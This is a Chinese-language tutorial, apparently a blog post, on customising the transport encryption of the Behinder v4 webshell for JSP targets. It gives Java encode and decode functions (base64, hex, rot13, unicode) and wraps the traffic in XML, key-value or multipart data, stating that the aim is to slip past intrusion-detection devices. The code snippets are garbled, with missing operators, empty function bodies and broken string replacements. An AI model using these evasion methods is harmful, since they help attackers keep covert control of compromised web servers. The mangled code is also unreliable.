冰蝎v4.0开放了传输协议的自定义功能，使得流量魔改更为简单方便，本文以jsp脚本类型为例，提供一些冰蝎4流量魔改的方式

冰蝎4内置了如下几种传输协议，传输协议可以理解为流量的加密方式

以default_xor传输协议为例，这种传输协议是对原始数据进行了异或加密

效果如下：

我们来去掉加密解密函数的相关代码

如果不用任何加解密函数，request body其实传输的是java 字节码

响应体其实也是明文的固定格式的json类型 {"msg":"执行结果base64编码","status":"c3VjY2Vzcw=="}

冰蝎4将加解密函数给外置出来，我们可以自己定义通信流量的加密方式，本次列举hex、unicode、rot13等加密方式

前面已经分析过传输的data明文数据，所以在它基础上进行base64编码+hex编码，写上加解密函数即可实现hex加密流量

加密函数：

String result = java.util.Base64.getEncoder().encodeToString(data).replace("+",""); String str=""; for (int i=0;i= 'A' && ch 'Z') { ch = (char)(ch - 26); } } else if (ch >= 'a' && ch 'z') { ch = (char)(ch - 26); } } str = str + ch; } return str.getBytes(); }

解密函数：

String input = new String(data); String str = ""; for (int i = 0; i < input.length(); i++) { char ch = input.charAt(i); if (ch >= 'A' && ch 'Z') { ch = (char)(ch - 26); } } else if (ch >= 'a' && ch 'z') { ch = (char)(ch - 26); } } str = str + ch; } return java.util.Base64.getDecoder().decode(str.replace("","/"));

}

通信流量如下：

之前列举了一些常见的加密方式，单纯对流量进行加密可能会被检测出来，我们可以对通信流量加入一些业务数据进行混淆，可能会更容易绕过防护设备

将字节码base64编码后的数据替换掉xml模板中指定的字符串就ok了，这样通信流量就变成了xml格式

加密函数：

解密函数：

java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream(); bos.write(data,46,data.length-63); return java.util.Base64.getDecoder().decode(new String(bos.toByteArray()).replace("","/")); }

通信流量如下：

当然也可以定义一段key-value的数据，然后用base64编码后的数据替换掉指定字符串

加密函数：

解密函数：

}

通信流量如下：

定义一段multipart格式的数据，然后替换指定字符串

加密函数：

解密函数：

}

通信流量如下：

用变换传输方式的方法可以使通信流量更像业务，但是加密流量只进行了一次base64编码，我们知道原始流量是java字节码，在经过base64编码后会有yv66这样的魔术头，这样很容易被检测到，所以我们可以用加密方式和传输方式相结合的方法来躲避检测

加密流量最外层进行一次rot13编码，然后再用xml的格式进行混淆

加密函数：

xml=xml.replace("DaYer0",str); return xml.getBytes(); }

解密函数：

java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream(); bos.write(data,46,data.length-63); String input = new String(bos.toByteArray()); String str = ""; for (int i = 0; i < input.length(); i++) { char ch = input.charAt(i); if (ch >= 'A' && ch 'Z') { ch = (char)(ch - 26); } } else if (ch >= 'a' && ch 'z') { ch = (char)(ch - 26); } } str = str + ch; } return java.util.Base64.getDecoder().decode(str.replace("","/"));

}

通信流量如下：

加密流量最外层进行一次unicode编码，然后再用key-value的格式进行混淆

加密函数：

解密函数：

通信流量如下：

加密流量最外层进行一次hex编码，然后再用multipart的格式进行混淆

加密函数：